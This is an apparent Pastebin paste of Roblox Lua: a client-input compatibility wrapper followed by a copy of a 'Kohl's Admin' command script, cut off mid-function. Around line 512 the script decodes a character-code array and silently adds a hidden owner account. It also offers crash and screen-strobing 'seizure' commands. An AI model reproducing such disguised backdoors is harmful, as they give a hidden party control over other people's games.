Advertisement
ghostteen14

Untitled

Jun 10th, 2019
120
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 124.50 KB | None | 0 0
  1.  
  2. --https://github.com/Mokiros/roblox-FE-compatibility
  3. if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end
  4. local Player,game,owner = owner,game
  5. local RealPlayer = Player
  6. do
  7. print("FE Compatibility code V2 by Mokiros")
  8. local RealPlayer = RealPlayer
  9. script.Parent = RealPlayer.Character
  10.  
  11. --Fake event to make stuff like Mouse.KeyDown work
  12. local Disconnect_Function = function(this)
  13. this[1].Functions[this[2]] = nil
  14. end
  15. local Disconnect_Metatable = {__index={disconnect=Disconnect_Function,Disconnect=Disconnect_Function}}
  16. local FakeEvent_Metatable = {__index={
  17. Connect = function(this,f)
  18. local i = tostring(math.random(0,10000))
  19. while this.Functions[i] do
  20. i = tostring(math.random(0,10000))
  21. end
  22. this.Functions[i] = f
  23. return setmetatable({this,i},Disconnect_Metatable)
  24. end
  25. }}
  26. FakeEvent_Metatable.__index.connect = FakeEvent_Metatable.__index.Connect
  27. local function fakeEvent()
  28. return setmetatable({Functions={}},FakeEvent_Metatable)
  29. end
  30.  
  31. --Creating fake input objects with fake variables
  32. local FakeMouse = {Hit=CFrame.new(),KeyUp=fakeEvent(),KeyDown=fakeEvent(),Button1Up=fakeEvent(),Button1Down=fakeEvent(),Button2Up=fakeEvent(),Button2Down=fakeEvent()}
  33. FakeMouse.keyUp = FakeMouse.KeyUp
  34. FakeMouse.keyDown = FakeMouse.KeyDown
  35. local UIS = {InputBegan=fakeEvent(),InputEnded=fakeEvent()}
  36. local CAS = {Actions={},BindAction=function(self,name,fun,touch,...)
  37. CAS.Actions[name] = fun and {Name=name,Function=fun,Keys={...}} or nil
  38. end}
  39. --Merged 2 functions into one by checking amount of arguments
  40. CAS.UnbindAction = CAS.BindAction
  41.  
  42. --This function will trigger the events that have been :Connect()'ed
  43. local function TriggerEvent(self,ev,...)
  44. for _,f in pairs(self[ev].Functions) do
  45. f(...)
  46. end
  47. end
  48. FakeMouse.TriggerEvent = TriggerEvent
  49. UIS.TriggerEvent = TriggerEvent
  50.  
  51. --Client communication
  52. local Event = Instance.new("RemoteEvent")
  53. Event.Name = "UserInput_Event"
  54. Event.OnServerEvent:Connect(function(plr,io)
  55. if plr~=RealPlayer then return end
  56. FakeMouse.Target = io.Target
  57. FakeMouse.Hit = io.Hit
  58. if not io.isMouse then
  59. local b = io.UserInputState == Enum.UserInputState.Begin
  60. if io.UserInputType == Enum.UserInputType.MouseButton1 then
  61. return FakeMouse:TriggerEvent(b and "Button1Down" or "Button1Up")
  62. end
  63. if io.UserInputType == Enum.UserInputType.MouseButton2 then
  64. return FakeMouse:TriggerEvent(b and "Button2Down" or "Button2Up")
  65. end
  66. for _,t in pairs(CAS.Actions) do
  67. for _,k in pairs(t.Keys) do
  68. if k==io.KeyCode then
  69. t.Function(t.Name,io.UserInputState,io)
  70. end
  71. end
  72. end
  73. FakeMouse:TriggerEvent(b and "KeyDown" or "KeyUp",io.KeyCode.Name:lower())
  74. UIS:TriggerEvent(b and "InputBegan" or "InputEnded",io,false)
  75. end
  76. end)
  77. Event.Parent = NLS([==[local Event = script:WaitForChild("UserInput_Event")
  78. local Mouse = owner:GetMouse()
  79. local UIS = game:GetService("UserInputService")
  80. local input = function(io,RobloxHandled)
  81. if RobloxHandled then return end
  82. --Since InputObject is a client-side instance, we create and pass table instead
  83. Event:FireServer({KeyCode=io.KeyCode,UserInputType=io.UserInputType,UserInputState=io.UserInputState,Hit=Mouse.Hit,Target=Mouse.Target})
  84. end
  85. UIS.InputBegan:Connect(input)
  86. UIS.InputEnded:Connect(input)
  87.  
  88. local h,t
  89. --Give the server mouse data every second frame, but only if the values changed
  90. --If player is not moving their mouse, client won't fire events
  91. local HB = game:GetService("RunService").Heartbeat
  92. while true do
  93. if h~=Mouse.Hit or t~=Mouse.Target then
  94. h,t=Mouse.Hit,Mouse.Target
  95. Event:FireServer({isMouse=true,Target=t,Hit=h})
  96. end
  97. --Wait 2 frames
  98. for i=1,2 do
  99. HB:Wait()
  100. end
  101. end]==],script)
  102.  
  103. ----Sandboxed game object that allows the usage of client-side methods and services
  104. --Real game object
  105. local RealGame = game
  106.  
  107. --Metatable for fake service
  108. local FakeService_Metatable = {
  109. __index = function(self,k)
  110. local s = rawget(self,"_RealService")
  111. if s then
  112. return typeof(s[k])=="function"
  113. and function(_,...)return s[k](s,...)end or s[k]
  114. end
  115. end,
  116. __newindex = function(self,k,v)
  117. local s = rawget(self,"_RealService")
  118. if s then s[k]=v end
  119. end
  120. }
  121. local function FakeService(t,RealService)
  122. t._RealService = typeof(RealService)=="string" and RealGame:GetService(RealService) or RealService
  123. return setmetatable(t,FakeService_Metatable)
  124. end
  125.  
  126. --Fake game object
  127. local FakeGame = {
  128. GetService = function(self,s)
  129. return rawget(self,s) or RealGame:GetService(s)
  130. end,
  131. Players = FakeService({
  132. LocalPlayer = FakeService({GetMouse=function(self)return FakeMouse end},Player)
  133. },"Players"),
  134. UserInputService = FakeService(UIS,"UserInputService"),
  135. ContextActionService = FakeService(CAS,"ContextActionService"),
  136. RunService = FakeService({
  137. _btrs = {},
  138. RenderStepped = RealGame:GetService("RunService").Heartbeat,
  139. BindToRenderStep = function(self,name,_,fun)
  140. self._btrs[name] = self.Heartbeat:Connect(fun)
  141. end,
  142. UnbindFromRenderStep = function(self,name)
  143. self._btrs[name]:Disconnect()
  144. end,
  145. },"RunService")
  146. }
  147. rawset(FakeGame.Players,"localPlayer",FakeGame.Players.LocalPlayer)
  148. FakeGame.service = FakeGame.GetService
  149. FakeService(FakeGame,game)
  150. --Changing owner to fake player object to support owner:GetMouse()
  151. game,owner = FakeGame,FakeGame.Players.LocalPlayer
  152. end
  153. :ls -----------------------------------------------------------------------------------------
  154. -- Thanx for using mah admin script I'd appreciate credit if you used in your place c: --
  155. -----------------------------------------------------------------------------------------
  156. local owners = {"josephderamus2985"} -- Are able to set admins who can ban/etc... using :pa name
  157. local admins = {"Kohltastrophe"} -- Sets admins who can use ban/kick/admin or shutdown
  158. local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown
  159. local banland = {"MasterKhaos"} -- Permanently Bans people
  160. local prefix = ":" -- If you wanna change how your commands start ':'kill noob
  161. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  162. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  163. ---------------------
  164. -- VIP Admin --
  165. ---------------------
  166. local VipAdmin = false -- If someone can have admin for owning an item
  167. local ItemId = 0 -- The item they must own in order to have admin
  168. ---------------------
  169. -- Group Admin --
  170. ---------------------
  171. local GroupAdmin = false -- If a certain group can have admin
  172. local GroupId = 0 -- Sets the group id that can have admin
  173. local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
  174. ---------------------
  175. -- Tips and Tricks --
  176. ---------------------
  177. --[[
  178. With this admin you can do a command on multiple people at a time;
  179. :kill me,noob1,noob2,random,team-raiders,nonadmins
  180.  
  181. You can also use a variety commands for different people;
  182. all
  183. others
  184. me
  185. team-
  186. admins
  187. nonadmins
  188. random
  189. --]]
  190. ---------------------
  191. -- Commands --
  192. ---------------------
  193. --[[
  194. -- |Temp Admin Commands| --
  195. 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
  196. 1. :s print("Hello World") -- Lets you script normally
  197. 2. :ls print("Hello World") -- Lets you script in localscripts
  198. 3. :clear -- Will remove all scripts/localscripts and jails
  199. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  200. 5. :kill kohl -- Kills the player
  201. 6. :respawn kohl -- Respawns the player
  202. 7. :trip kohl -- Trips the player
  203. 8. :stun kohl -- Stuns the player
  204. 9. :unstun kohl -- Unstuns the player
  205. 10. :jump kohl -- Makes the player jump
  206. 11. :sit kohl -- Makes the player sit
  207. 12. :invisible kohl -- Makes the player invisible
  208. 13. :visible kohl -- Makes the player visible
  209. 14. :explode kohl -- Makes the player explode
  210. 15. :fire kohl -- Sets the player on fire
  211. 16. :unfire kohl -- Removes fire from the player
  212. 17. :smoke kohl -- Adds smoke to the player
  213. 18. :unsmoke kohl -- Removes smoke from the player
  214. 19. :sparkles kohl -- Adds sparkles to the player
  215. 20. :unsparkles kohl -- Removes sparkles from the player
  216. 21. :ff kohl -- Adds a forcefield to the player
  217. 22. :unff kohl -- Removes the forcefield from the player
  218. 23. :punish kohl -- Punishes the player
  219. 24. :unpunish kohl -- Unpunishes the player
  220. 25. :freeze kohl -- Freezes the player
  221. 26. :thaw kohl -- Thaws the player
  222. 27. :heal kohl -- Heals the player
  223. 28. :god kohl -- Makes the player have infinite health
  224. 29. :ungod kohl -- Makes the player have 100 health
  225. 30. :ambient .5 .5 .5 -- Changes the ambient
  226. 31. :brightness .5 -- Changes the brightness
  227. 32. :time 12 -- Changes the time
  228. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  229. 34. :fogend 100 -- Changes the fogend
  230. 35. :fogstart 100 -- Changes the fogstart
  231. 36. :removetools kohl -- Removes all tools from the player
  232. 37. :btools kohl -- Gives the player building tools
  233. 38. :give kohl sword -- Gives the player a tool
  234. 39. :damage kohl -- Damages the player
  235. 40. :grav kohl -- Sets the player's gravity to normal
  236. 41. :setgrav kohl 100 -- Sets the player's gravity
  237. 42. :nograv kohl -- Makes the player have 0 gravity
  238. 43. :health kohl 1337 -- Changes the player's health
  239. 44. :speed kohl 1337 -- Changes the player's walkspeed
  240. 45. :name kohl potato -- Changes the player's name
  241. 46. :unname kohl -- Remove the player's name
  242. 47. :team kohl Raiders -- Changes the player's team
  243. 48. :stopmusic -- Will stop all music playing in the server
  244. 49. :teleport kohl potato -- Teleports the player
  245. 50. :change kohl kills 1337 -- Changes a player's stat
  246. 51. :kick kohl -- Removes the player from the game
  247. 52. :infect kohl -- Turns the player into a zombie
  248. 53. :rainbowify kohl -- Turns the player into a rainbow
  249. 54. :flashify kohl -- Turns the player into a strobe
  250. 55. :noobify kohl -- Turns the player into a noob
  251. 56. :ghostify kohl -- Turns the player into a ghost
  252. 57. :goldify kohl -- Turns the player into gold
  253. 58. :shiny kohl -- Makes the player shiny
  254. 59. :normal kohl -- Puts the player back to normal
  255. 60. :trippy kohl -- Spams random colors on the player's screen
  256. 61. :untrippy kohl -- Untrippys the player
  257. 62. :strobe kohl -- Spams white and black on the player's screen
  258. 63. :unstrobe kohl -- Unstrobes the player
  259. 64. :blind kohl -- Blinds the player
  260. 65. :unblind kohl -- Unblinds the player
  261. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  262. 67. :fling kohl -- Flings the player
  263. 68. :seizure kohl -- Puts the player in a seizure
  264. 69. :music 1337 -- Plays a sound from the ID
  265. 70. :lock kohl -- Locks the player
  266. 71. :unlock kohl -- Unlocks the player
  267. 72. :removelimbs kohl -- Removes the player's limbs
  268. 73. :jail kohl -- Puts the player in a jail
  269. 74. :unjail kohl -- Removes the jail from the player
  270. 75. :fix -- This will fix the lighting to it's original settings
  271. 76. :fly kohl -- Makes the player fly
  272. 77. :unfly kohl -- Removes fly from the player
  273. 78. :noclip kohl -- Makes the player able to noclip
  274. 79. :clip kohl -- Removes noclipping from the player
  275. 80. :pm kohl Hey bro -- Sends the player a private message
  276. 81. :dog kohl -- Turns the player into a dog
  277. 82. :undog kohl -- Turns the player back to normal
  278. 83. :creeper kohl -- Turns the player into a creeper
  279. 84. :uncreeper kohl -- Turns the player back to normal
  280. 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
  281. 86. :char kohl 261 -- Will make a player look like a different player ID
  282. 87. :unchar kohl -- Will return the player back to normal
  283. 88. :h Hello People -- This will shout a hint to everyone
  284. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  285. 90. :starttools kohl -- Will give the player starter tools
  286. 91. :sword kohl -- Will give the player a sword
  287. 92. :bighead kohl -- Will make the player's head larger than normal
  288. 93. :minihead kohl -- Will make the player's head smaller than normal
  289. 94. :insert 1337 -- Will insert a model at the speaker's position
  290. 95. :disco -- Will make the server flash random colors
  291. 96. :flash -- Will make the server flash
  292. 97. :admins -- Shows the admin list
  293. 98. :bans -- Shows the banlist
  294. 99. :musiclist -- Shows the music list
  295. 100. :spin kohl -- Spins the player
  296. 101. :cape kohl Really black -- Gives the player a colored cape
  297. 102. :uncape kohl -- Removes the player's cape
  298. 103. :loopheal kohl -- Will constantly heal the player
  299. 104. :loopfling kohl -- Will constantly fling the player
  300. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  301. 106. :unloopheal kohl -- Will remove the loopheal on the player
  302. 107. :unloopfling kohl -- Will remove the loopfling on the player
  303. 108. :unspin kohl -- Removes spin from the player
  304. 109. :tools -- Gives a list of the tools in the lighting
  305. 110. :undisco -- Removes disco effects
  306. 111. :unflash -- Removes flash effects
  307. 112. :resetstats kohl -- Sets all the stats of a player to 0
  308. 113. :gear kohl 1337 -- Gives a player a gear
  309. 114. :cmdbar -- Gives the speaker a command bar
  310. 115. :shirt kohl 1337 -- Changes the player's shirt
  311. 116. :pants kohl 1337 -- Changes the player's pants
  312. 117. :face kohl 1337 -- Changes the player's face
  313. 118. :swagify kohl -- Swagifies the player
  314. 119. :version -- Shows the current version of the admin
  315. 120. :tm 1337 yolo -- Shows a message for 1337 seconds
  316. 121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
  317. 122. :clone kohl -- Creates a clone of the player
  318. 123. :lsplr kohl print("yolo") -- Creates a localscript inside of a player
  319. 124. :startergive kohl epic -- Gives a player a gear in their starterpack
  320. 125. :control kohl -- Controls a player
  321.  
  322. -- |Admin Commands| --
  323. - :serverlock -- Locks the server
  324. - :serverunlock -- Unlocks the server
  325. - :sm Hello World -- Creates a system message
  326. - :crash kohl -- Crashes a player
  327. - :admin kohl -- Admins a player
  328. - :unadmin kohl -- Unadmins a player
  329. - :ban kohl -- Bans a player
  330. - :unban kohl -- Unbans a player
  331. - :loopkill kohl -- Will constantly kill the player
  332. - :unloopkill kohl -- Will remove the loopkill on the player
  333. - :logs -- Will show all of the commands any admin has used in a game session
  334. - :shutdown -- Shutsdown the server
  335.  
  336. -- |Owner Commands| --
  337. - :pa kohl -- Makes someone a super admin
  338. - :unpa kohl -- Removes a super admin
  339. - :nuke kohl -- Creates a nuke on kohl
  340.  
  341. -- |True Owner Commands| --
  342. - :oa kohl -- Makes someone an owner
  343. - :unoa kohl -- Removes an owner
  344. - :settings -- Shows settings for the commands
  345. --]]
  346. ---------------------
  347. -- Main Script --
  348. ---------------------
  349. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  350.  
  351. function CHEESE()
  352. if game:service("Lighting"):findFirstChild("KACV2") then
  353. owners = {} admins = {} tempadmins = {} banland = {}
  354. for i,v in pairs(game.Lighting.KACV2:children()) do
  355. if v.Name == "Owner" then table.insert(owners, v.Value) end
  356. if v.Name == "Admin" then table.insert(admins, v.Value) end
  357. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  358. if v.Name == "Banland" then table.insert(banland, v.Value) end
  359. if v.Name == "Prefix" then prefix = v.Value end
  360. if v.Name == "FunCommands" then FunCommands = v.Value end
  361. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  362. if v.Name == "GroupId" then GroupId = v.Value end
  363. if v.Name == "GroupRank" then GroupRank = v.Value end
  364. if v.Name == "VipAdmin" then VipAdmin = v.Value end
  365. if v.Name == "ItemId" then ItemId = v.Value end
  366. end
  367. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  368. end
  369.  
  370. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  371. local lobjs = {}
  372. local objects = {}
  373. local logs = {}
  374. local nfs = ""
  375. local slock = false
  376.  
  377. function GetTime()
  378. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  379. if min < 10 then min = "0"..min end
  380. return hour..":"..min
  381. end
  382.  
  383. function ChkOwner(str)
  384. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  385. return false
  386. end
  387.  
  388. function ChkAdmin(str,ck)
  389. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  390. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  391. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  392. return false
  393. end
  394.  
  395. function ChkGroupAdmin(plr)
  396. if GroupAdmin then
  397. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  398. return false
  399. end
  400. end
  401.  
  402. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  403.  
  404. function GetPlr(plr, str)
  405. local plrz = {} str = str:lower()
  406. if str == "all" then plrz = game.Players:children()
  407. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  408. else
  409. local sn = {1} local en = {}
  410. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  411. for x = 1, #sn do
  412. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  413. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  414. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  415. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  416. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  417. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  418. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  419. end end end
  420. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  421. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  422. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  423. end end end
  424. else
  425. for a, plyr in pairs(game.Players:children()) do
  426. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  427. table.insert(plrz, plyr) break
  428. end
  429. end
  430. end
  431. end
  432. end
  433. return plrz
  434. end
  435.  
  436. function Hint(str, plrz, time)
  437. for i, v in pairs(plrz) do
  438. if v and v:findFirstChild("PlayerGui") then
  439. coroutine.resume(coroutine.create(function()
  440. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  441. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  442. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  443. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  444. if not time then wait((#str/19)+2.5) else wait(time) end
  445. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end end))
  446. end))
  447. end
  448. end
  449. end
  450.  
  451. function Message(ttl, str, scroll, plrz, time)
  452. for i, v in pairs(plrz) do
  453. if v and v:findFirstChild("PlayerGui") then
  454. coroutine.resume(coroutine.create(function()
  455. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  456. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  457. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  458. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  459. scr.Parent = v.PlayerGui
  460. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  461. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  462. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  463. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end))
  464. end))
  465. end
  466. end
  467. end
  468.  
  469. function RemoveMessage()
  470. for i,v in pairs(game.Players:children()) do
  471. if v and v:findFirstChild("PlayerGui") then
  472. for q,ms in pairs(v.PlayerGui:children()) do
  473. if ms.Name == "MessageGUI" then
  474. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end))
  475. elseif ms.Name == "HintGUI" then
  476. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end))
  477. end
  478. end
  479. end
  480. end
  481. end
  482.  
  483. _G["Message"] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end
  484. _G["RemoveMessage"] = RemoveMessage()
  485.  
  486. function Output(str, plr)
  487. coroutine.resume(coroutine.create(function()
  488. local b, e = loadstring(str)
  489. if not b and plr:findFirstChild("PlayerGui") then
  490. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  491. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  492. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  493. return
  494. end
  495. end))
  496. end
  497.  
  498. function Noobify(char)
  499. if char and char:findFirstChild("Torso") then
  500. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  501. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  502. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  503. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  504. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  505. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  506. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  507. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  508. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  509. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  510. end end
  511. end
  512. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  513.  
  514. function Infect(char)
  515. if char and char:findFirstChild("Torso") then
  516. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  517. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  518. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  519. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  520. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  521. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  522. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  523. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  524. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  525. end end
  526. end
  527. end if not ntab then script:Destroy() end
  528.  
  529. function ScrollGui()
  530. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  531. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  532. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  533. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  534. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  535. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  536. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  537. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  538. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  539. local num = 0
  540. local downv = false
  541. local upv = false
  542.  
  543. down.MouseButton1Down:connect(function() downv = true upv = false
